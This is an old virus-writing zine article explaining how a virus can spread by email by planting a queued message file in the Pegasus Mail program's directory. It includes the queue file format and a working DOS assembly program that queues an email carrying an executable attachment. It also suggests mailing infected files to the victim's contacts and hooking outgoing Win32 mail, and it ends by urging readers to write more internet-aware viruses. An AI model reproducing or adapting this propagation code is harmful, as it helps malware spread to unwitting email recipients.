Self-Emailing Viruses.
                              By: Techno Phunk

[Introduction]

    Well, this is another as we say "10 minute" articles. But, here we go.

        Well, it's not exactly a new thing...but, few viruses are capable of
spreading or otherwise using e-mail to their advantage. Win32 viruses are
EXTREEMLY capable of sending themselfs to newsgroups, FTP's, and e-mail. Of
course, DOS viruses don't REALLY have this luxurary. However, it can be done.
This article is about exploiting the Pegasus Mail Program.

[What is Pegasus Mail?]

        Well, some people know this program, because they use it. This program
is a pop3/STMP client for both 16-bit and 32-bit platforms of winblows. First,
this mail program, you must know is quite popular, but not as known as say
Eudora or Outlook, however, it's always useful to exploit a program for your
advantage. 

First of all, what all can we do with E-mail and a virus. O.k, this is always
a fun thing:

* E-mail it along with e-mail that the infected user is sending...this way
  it *HOPEFULLY* is downloaded/run by the "friend" of the infected user...heh
* E-mail (only on occasion) some people you don't like as a "F-U" or something
  useful for AVers <EG>...oh, and why not Billy Boy too? and willy boy too!
* Getting on the wild list...yes, sounds strange, but...if you send an infected
  host to all the AVers you can think of...you'll most likly be on the list.
  Reason being is that in order to get on, they must recieve at least 2
  diffrent AV's confirming, on TWO diffrent contonents. So, this will help
  you get on the wildlist, if you want to be on it. problem: you'll also be
  DISCOVERED more quickly...think about it.

Now, wasn't that all ovios?

[ Leaching into Pegasus Mail - For Winblows]

O.k, I discovered this idea while examining my copy of this program. Suprisingly
it doesn't store it's data in a binary format, or otherwise, encrypted. All
one must do is place/edit a file in it's Queue. I havn't looked at the other
two POPULAR mail programs (Eudora and Outlook), so I'll see about writing
something on them in later issues.

Example "E-mail" (sends it to TI)

tinet@sourceofkaos.c, hi there                      
SY:0
TO:tinet@sourceofkaos.com
SU:hi there
CC:
EN:0
CS:0
RC:0
DC:1
UR:0
SS:0
SG:0
MI:1
ID:<Default>
EX:0
AT:E:\blah.exe,Binary,1
TE: 1
FL:0

just a nice friendly greating from me to you! <EG> :)


Techno Phunk / Ti
------------------------
http://tinet.cjb.net


-----------end file.
Note:  is the "Carriage" return for this mailer...you don't even have to
put them....they will be automaticly put in for you.

The above when put in the e-mail directory: \PMAIL\MAIL
will send: e:\blah.exe (an infected file) to who ever you want. (in this case
to TI)....btw- the file *MUST* be named *.PMW, and the file specified, MUST
exist.

[Some Code]

 Now, for a virus, it'd be quite impracticle to modify this file...as, to do
so, would take quite a few lines of code. I dunno, if you want to, figure it
out. I'm not going to show you the code here to do this. But, for example
purposes, I'll show you the DOS code for sending e-mail to F-prot's virus
"research" deparment (heh heh)

--------start cutting--------
; Simple "program" to place a "ready-to-send" e-mail in the queue of Pegesus
; mail. Will send the file: c:\windows\win.com to: samples@datafellows.com
; if ran.
; tasm mail
; tlink /t mail
.model tiny
.code

        Org 100h                  ; COM file <$#@#%$@#$@>
Start:
        Mov Ax,3c00h              ; create file/and open.
        Xor Cx,Cx
        Lea Dx, FileName
        Int 21h
        Jc Quit
        Xchg Bx,Ax

        Mov Ah,40h                ; write to file
        Lea Dx,StartMail          ; starting point
        Mov Cx,EndMail-StartMail  ; the message length
        Int 21h

        Mov Ah,3eh                ; close.
        Int 21h                   ; thank ya.

        Mov Ah,9                  ; dumb message.
        Lea Dx, Msg
        Int 21h
Quit:
        Int 20h

        Msg Db '<EG> message is ',34,'sent',34,'$'
        FileName Db '\PMAIL\MAIL\blah.PMW',0

StartMail:
db 'samples@datafellows., hi                            ',13,10
db 'SY:0',13,10
db 'TO:samples@datafellows.com',13,10
db 'SU:hi',13,10
db 'CC:',13,10
db 'EN:0',13,10
db 'CS:0',13,10
db 'RC:0',13,10
db 'DC:0',13,10
db 'UR:0',13,10
db 'SS:0',13,10
db 'SG:0',13,10
db 'MI:1',13,10
db 'ID:<Default>',13,10
db 'EX:0',13,10
db 'AT:C:\windows\win.com,Binary,1',13,10
db 'TE: 1',13,10
db 'FL:0',13,10
db 13,10
db 'virus - here....',13,10
EndMail:
end start

------Stop The Cutting Already!------

 Now, if you havn't already noticed... there is a SMALL problem with this, not
a biggy though. Basicly, if the user "reviews" their Queue, they *MAY* notice
this "e-mail" sitting there. Not too bad, most users just click Send mail.

[Win32 Methods]

 You can do the above, and also, you may use MAPISendMail (see API refrence)
to send mail without another program, and so on... you can even intercept
and attach to outgoing e-mails (isn't win32 fun).

[Conclusion]


  Finnaly, I hope to see more internet aware viruses, no matter WHAT kind of
virus it is, shoot, you could even implement the lame Pegesus e-mail "sploit"
in a BATCH "virus"! come on folks lets pump out some code :).


             See Also: Septic's article on internet aware viruses.


                                                   -Techno Phunk-
                                               tinet@sourceofkaos.com